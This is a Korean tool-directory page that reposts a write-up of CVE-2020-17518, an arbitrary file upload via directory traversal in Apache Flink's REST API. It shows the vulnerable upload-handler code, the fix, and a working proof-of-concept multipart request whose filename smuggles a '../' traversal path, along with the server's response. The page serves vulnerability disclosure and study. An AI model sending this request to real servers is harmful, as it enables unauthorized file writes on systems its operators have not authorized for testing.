Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-17518 — [CVE-2020-17518] Apache Flink RESTful API 디렉터리 탐색을 통한 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/murataydemir/cve-2020-17518
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAPI Security
GitHubmurataydemir/cve-2020-17518

CVE-2020-17518

[CVE-2020-17518] Apache Flink RESTful API 디렉터리 탐색을 통한 임의 파일 업로드

저장소 보기
33605년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[CVE-2020-17518] Apache Flink RESTful API에서 디렉터리 트래버설을 통한 임의 파일 업로드


Apache Flink는 Java와 Scala로 개발된, 무한(unbounded) 및 유한(bounded) 데이터 스트림에 대한 상태 저장 계산을 위한 프레임워크이자 분산 처리 엔진입니다. Apache Flink 1.5.1에서 도입된 REST 핸들러는 디렉터리 트래버설을 통한 임의 파일 업로드 취약점에 영향을 받습니다. 이 취약점으로 인해 공격자는 조작된 HTTP 요청을 통해 로컬 파일 시스템의 임의 디렉터리에 파일을 업로드할 수 있습니다.

1.11.3 이전의 모든 버전이 해당 취약점의 영향을 받는 반면, Apache Flink는 1.11.3 이상 버전에서 취약점을 수정했습니다.

취약한 코드는 src/main/java/org/apache/flink/runtime/rest/FileUploadHandler.java 클래스입니다. 관련 코드 조각은 아래와 같습니다.

import javax.annotation.Nullable;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

		final DiskFileUpload fileUpload = (DiskFileUpload) data;
		checkState(fileUpload.isCompleted());

		final Path dest = currentUploadDir.resolve(fileUpload.getFilename());

		fileUpload.renameTo(dest.toFile());
		LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
	} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
		final Attribute request = (Attribute) data;

문제는 사용자 입력인 filename 매개변수가 어떤 방식으로도 정화(sanitize)되지 않는다는 것입니다. 이 커밋을 통해 취약점이 수정되었습니다. 즉, 경로 정보를 제거하기 위해 파일 이름을 다른 파일 인스턴스로 감싸고 있습니다.

import javax.annotation.Nullable;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

		final DiskFileUpload fileUpload = (DiskFileUpload) data;
		checkState(fileUpload.isCompleted());

		//final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
		final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
		
		fileUpload.renameTo(dest.toFile());
		//LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
		LOG.trace("Upload of file {} into destination {} complete.", fileUpload.getFilename(), dest.toString());
	} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
		final Attribute request = (Attribute) data;

개념 증명(PoC): 이 취약점을 악용하려면 다음 요청을 사용할 수 있습니다.

POST /jars/upload HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 217

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/CVE-2020-17519-PoC.txt"

This is the PoC file
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

응답의 상태 코드가 400 Bad Request이더라도 파일은 서버에 성공적으로 업로드됩니다.

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 6017
도구 다운로드